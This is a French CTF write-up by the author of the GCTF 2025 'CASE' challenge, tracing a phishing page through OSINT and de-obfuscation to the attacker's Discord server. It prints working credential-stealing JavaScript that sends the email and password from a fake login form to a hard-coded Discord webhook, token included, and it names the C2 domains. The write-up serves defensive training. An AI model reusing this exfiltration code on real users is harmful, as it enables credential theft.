GCTF 2025 - Writeup du challenge CASE
Publié le 22 min de lecture
Mis à jour le
Dans cette série39 min de lecture au total
- GCTF 2025 - Writeup du challenge CASE
- Baby (VulnLab) - Writeup Complet
Cet article est un writeup pour le challenge “CASE” que j’ai créé pour le GCTF 2025 Capture The Flag (CTF). Ce CTF a été co-organisé à l’école Guardia Cybersecurity. Le challenge était basé sur une campagne de phishing réelle que j’ai rencontrée en analysant des données provenant des solutions de sécurité de l’entreprise où je travaillais à l’époque.
L’objectif du challenge était de simuler un scénario réaliste impliquant un lien de phishing envoyé par un attaquant. Les participants devaient enquêter et créer un rapport détaillé décrivant la méthodologie et les techniques de l’attaquant. Le CTF dure 5 heures. Je m’attendais à ce qu’ils l’aient terminé en 2 heures
L’enquête forme une chaîne : chaque élément trouvé est la clé de l’étape suivante. C’est ce qui structure ce writeup.
| Phase | Point de départ | Ce qu’on en tire |
|---|---|---|
| 1 | l’URL du point d’entrée | le domaine d’exfiltration historique |
| 2 | ce domaine | l’infrastructure de l’attaquant, son âge, sa localisation |
| 3 | le code désobfusqué | le canal d’exfiltration actuel, un webhook Discord |
| 4 | ce webhook | le serveur Discord de l’attaquant, puis le flag |
Le challenge
Synopsis
Estimés participants,
En tant qu’analyste en cybersécurité d’élite, vous êtes officiellement mandaté par SOCreddine, le Chef de l’Information de GuardiaCorp, pour mener une enquête approfondie sur une URL particulièrement suspecte.
Cette URL a été subrepticement disséminée au sein des réseaux internes de GuardiaCorp, soulevant de sérieuses préoccupations quant à son origine et ses répercussions potentiellement néfastes.
Soyez avisé que cette tâche requiert une expertise spécialisée. La discrétion est essentielle, car la réputation de GuardiaCorp est en jeu.
Le temps presse. SOCreddine attend votre rapport détaillé dans les plus brefs délais. Que votre perspicacité et votre ingéniosité vous guident dans cette périlleuse entreprise.
Point d’entrée :
https://case.gctf.tech#jhubert@gmail.com
Difficulté : Facile/Moyen

Critères de notation
À partir du point d’entrée, trouvez les informations suivantes :
| Points | Critères | Attendu |
|---|---|---|
| 100 | Serveur de réception | Point d’exfiltration précédemment utilisé par l’attaquant pour recevoir les données |
| 50 | Identification du panel | Nom complet du panel utilisé pour déployer le template depuis le domaine anciennement utilisé pour l’exfiltration |
| 50 | Origine géographique | Localisation de la ville d’origine supposée du serveur précédemment utilisé pour exfiltrer les données |
| 150 | Certificat TLS initial | Date et heure exactes du premier enregistrement du domaine anciennement utilisé pour l’exfiltration |
| 150 | Valeur du domaine | Prix du domaine anciennement utilisé pour l’exfiltration au 30 mars 2022 |
| 200 | Nouveau point d’exfiltration | L’attaquant a depuis changé sa méthode d’exfiltration. Trouvez la nouvelle façon utilisée pour exfiltrer les données. |
| 200 | Logique d’exfiltration | Ces points seront attribués si vous démontrez en détail (à partir du code) comment l’attaquant a exfiltré ces données dans le passé et le présent (explication technique de la logique du code) |
| 200 | Secret partagé | Un secret est caché sur le serveur de discussion des attaquants ! |
| 200 | Flag final | Format : GCTF{C2_server_name:exfiltration_domain} Exemple : GCTF{Havoc:informaticien.fun} |
| 1300 | Envoyez le rapport | à l’adresse email : report@gctf.tech en mentionnant le nom de votre équipe (sinon refusé) ! |
Vous devez rédiger un rapport complet avec vos propres mots. Il doit être :
- Démonstratif : Preuves tangibles pour chaque point
- Exhaustif : Analyse complète et détaillée
- Explicatif : Contextualisation et facilité de compréhension
Vous n’aurez qu’une seule soumission pour votre rapport.
Important : Le meilleur rapport vaudra 200 points supplémentaires.
Nous acceptons les soumissions jusqu’à une heure avant la fin du CTF, après cette date limite votre rapport sera refusé. Vous pouvez soumettre votre rapport et obtenir des points, même s’il est incomplet !
Phase 1 : du code obfusqué au premier domaine
Tout part d’une URL et de rien d’autre. La page rendue dans le navigateur n’apprend rien, c’est sa source qui parle.
Identifier le serveur de réception
Points : 100
Plongeons dans le code source de la page https://case.gctf.tech#jhubert@gmail.com :
<script language=javascript>document.write(unescape('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))</script>Ce qui ressemble à une très longue chaîne de caractères encodée en URL, nous pouvons la décoder avec l’outil de votre choix comme CyberChef par exemple :

L’encodage URL a été utilisé. Dans le script obfusqué tout en bas du code, il y a un commentaire avec une requête POST vers un endpoint bizarre.

ucbank.net/love/newpost.php
Identifier le panel
Points : 50
Allez sur la racine du domaine : https://ucbank.net

CyberPanel
Le domaine ucbank.net est identifié. Il devient à son tour l’objet de l’enquête.
Phase 2 : profiler l’infrastructure de l’attaquant
Trois questions se posent sur ce domaine, et les trois se répondent avec des sources publiques, sans jamais toucher au serveur.
Origine géographique
Points : 50
- Utilisez un outil de géolocalisation IP avec le domaine
ucbank.net:

Istanbul
Le premier certificat TLS
Points : 150
- Avec le site web crt.sh vous pouvez voir quand les certificats TLS ont été enregistrés :

2018-07-27 19:32:08
La valeur du domaine
Points : 150
- Prix du domaine au 30 mars 2022 : Vérifiez les archives historiques sur Wayback Machine pour déterminer la valeur du domaine à la date donnée.

280$
L’infrastructure historique est cernée. Reste à savoir où partent les identifiants aujourd’hui, et cela ne se lit que dans le code.
Phase 3 : le canal d’exfiltration actuel
Trouver le nouveau point d’exfiltration
Points : 200
Dans la partie JavaScript du code (tout en bas), nous voyons d’abord ce qui ressemble à une requête POST commentée vers le point de terminaison https://ucbank.net/love/newpost.php.
(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () { function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) { return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36); }
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true); function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) { return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9); } _0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt'])); }, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 - 0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = ''; });});Désobfusquons-le brièvement également :
Nous voyons du dead code (certainement pour nous faire perdre plus de temps dessus volontairement) et une structure de webhook Discord :
12 lignes masquées
document.addEventListener("DOMContentLoaded", function () { var _0x3440d6 = { pvDVY: function (_0x1b4dad, _0x64df64) { return _0x1b4dad === _0x64df64; }, EpKBb: function (_0x36a897, _0x200699) { return _0x36a897 !== _0x200699; }, pemca: "Failed to send message:", wOkQh: 'number', VTARh: 'password' };
_0x3440d6.kwxLo = "Hacked accounts";_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";_0x3440d6.mIdCI = "USER BREACH DETECTED";_0x3440d6.iXaLj = "User Credentials";_0x3440d6.RaVxu = "Creds Logged";_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";_0x3440d6.jdzua = "POST";_0x3440d6.VXIUh = "application/json";_0x3440d6.Xmkys = "form";_0x3440d6.ZcpCw = "submit";var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) { _0x338ff6.preventDefault(); var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = { 'username': _0x3440d6.kwxLo, 'avatar_url': _0x3440d6.NuHmS, 'embeds': [{ 'title': _0x3440d6.mIdCI, 'description': "**Un utilisateur s'est fait PETAX!**", 'color': 0xff0000, 'fields': [{ 'name': _0x3440d6.iXaLj, 'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value, 'inline': false }], 'footer': { 'text': _0x3440d6.RaVxu, 'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg" }, 'image': { 'url': _0x3440d6.KjfIk } }] }; var _0x543aea = new XMLHttpRequest(); _0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);16 lignes masquées
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh); _0x543aea.onreadystatechange = function () { // xhr.open("POST", "https://ucbank.net/love/newpost.php", true); if (_0x543aea.readyState === XMLHttpRequest.DONE) { if (_0x543aea.status === 200) { console.log("Message sent successfully!"); } else { console.error("Failed to send message:", _0x543aea.responseText); } } }; _0x543aea.send(JSON.stringify(_0x2af2a6)); document.getElementById('number').value = _0x15aa9c + 1; document.getElementById('password').value = ''; });});On peut clairement voir que les 2 champs email et password du formulaire, sont envoyés à un webhook Discord pour exfiltration.
Comprendre la logique du code
Points : 200
Que fait ce code bon sang ???

Fonctionnalité principale
- Collecte d’identifiants :
- Remplit automatiquement un champ email à partir du hash de l’URL (ex :
example.com#victim@email.com→ email =victim@email.com) - Capture le mot de passe saisi lors de la soumission du formulaire.
- Envoie les deux champs au webhook Discord via une requête POST.
- Techniques d’obfuscation :
- Utilisation intensive de noms de variables hexadécimaux (
_0x1eac,_0x1123) - Routines de chiffrement/déchiffrement de chaînes
- Écrasement des méthodes console pour masquer les logs de débogage
- Rotation de tableau et manipulation du flux de code
- Utilisation intensive de noms de variables hexadécimaux (
Exfiltration de données
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);Envoie les identifiants volés, Email : victim@example.com et Mot de passe : [mot de passe saisi par l'utilisateur]
Interface trompeuse
- Charge une iframe en arrière-plan correspondant au domaine de l’email (ex :
@gmail.com→https://gmail.com) - Affiche un faux écran de chargement (délai de 4 secondes)
Dans le code :
-
Fonctionnalités anti-analyse
Écrase les méthodes console pour empêcher le débogage console.log = function(){};console.error = function(){}; -
Analyse de domaine vers iframe
const charactersAfter = updated_email.substring(delimiterIndex + 1);iframe.setAttribute("src", "https://" + charactersAfter);
Points clés
- Utilisation de plusieurs couches d’obfuscation de code
- URL de webhook Discord et domaine d’attaquant codés en dur
- Extraction automatique d’email depuis les fragments d’URL
- Chargement d’iframe dynamique basé sur le domaine de l’email
- Altération des méthodes console
Le canal d’exfiltration est identifié. Cette URL est aussi une porte d’entrée.
Phase 4 : du webhook au serveur de l’attaquant
Le secret partagé
Points : 200
D’abord un peu de documentation sur les webhooks Discord :
Avec ce webhook nous pouvons publier des données ou les supprimer, ce qui n’est pas très intéressant (ou si vous voulez juste perturber les autres équipes et le créateur du challenge), il y a un moyen de récupérer un lien d’invitation vers le serveur Discord (peut-être nécessite-t-il une configuration de widget Discord active par le propriétaire du serveur) :
- Soumettre une requête GET à l’URL du webhook pour révéler l’ID de guilde associé :
{ "application_id": null, "avatar": "1d1dc4094ab1693e3c45e674685948c5", "channel_id": "1316805941609627659", "guild_id": "1316805897082765373", "id": "1316805966146048123", "name": "Proz0X_ hacked accounts", "type": 1, "token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", "url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"}- Accédez à
https://www.discord.com/api/guilds/<guild id>/widget.jsonpour obtenir le lien d’invitation depuis la fonctionnalité widget.
{ "id": "1316805897082765373", "name": "H3CK3Rz_", "instant_invite": "https://discord.com/invite/jZ4nUrck", "channels": [], "members": [], "presence_count": 0}- Vous êtes autorisé à rejoindre le serveur depuis le lien d’invitation du widget récupéré.
Dans le serveur, un événement est en cours avec un message.

GCTF{P0URkw01_m377r3_Un_fl49_1C1??}
Le flag final
Points : 200
Dans le canal #help, un utilisateur “Slap” demande de l’aide concernant un comportement étrange sur son PC, à la fin de la discussion il fournit un fichier zip :

Pour gagner du temps, nous pouvons scanner cette archive sur un outil d’analyse dynamique en ligne par ex. : Tria.ge :

Cobalt Strike est le C2 utilisé.

Le domaine d’exfiltration de l’attaquant est : softline.top
GCTF{cobalt_strike:softline.top}
Ce que ce challenge enseigne
Récapitulatif de la chaîne complète, chaque ligne n’ayant été accessible que grâce à la précédente :
| Étape | Source | Résultat |
|---|---|---|
| Décodage URL de la page | code source du point d’entrée | le HTML et le script réels |
| Lecture du commentaire résiduel | script obfusqué | ucbank.net/love/newpost.php |
| Racine du domaine | ucbank.net | panel CyberPanel |
| Géolocalisation IP | ucbank.net | Istanbul |
| Certificate Transparency | crt.sh | 2018-07-27 19:32:08 |
| Archives web | Wayback Machine | 280$ au 30 mars 2022 |
| Désobfuscation | script complet | webhook Discord actif |
GET sur le webhook | URL du webhook | guild_id |
| Widget de la guilde | guild_id | lien d’invitation |
| Analyse de l’archive | Tria.ge | Cobalt Strike, softline.top |
Trois enseignements ressortent, transposables hors CTF.
L’obfuscation ralentit, elle ne protège pas. Aucune des couches rencontrées n’était solide : encodage URL, noms hexadécimaux, tableau de chaînes tournant, écrasement de console. Empilées, elles suffisent pourtant à décourager une analyse rapide, et c’est précisément leur but.
Les commentaires et le code mort sont des mines d’or. Le premier domaine a été trouvé dans une ligne commentée que l’attaquant a oublié de retirer. Sur une infrastructure réelle, ce sont ces résidus qui relient une campagne courante à ses versions antérieures.
Un canal d’exfiltration commode est un canal exposé. Le webhook Discord évitait à l’attaquant de louer un serveur, mais son URL était un secret porteur codé en dur dans une page publique. La récupérer donnait accès à l’infrastructure de commande, ce qui est très exactement l’inverse du résultat recherché.
Ceci conclut le writeup du challenge “CASE” au GCTF 2025. J’espère que vous avez trouvé cette procédure instructive et utile pour aborder des scénarios similaires dans le monde réel de la cybersécurité.
PS : Malheureusement, les participants étaient comme ça :

0 résolution, ça arrive parfois, je suppose.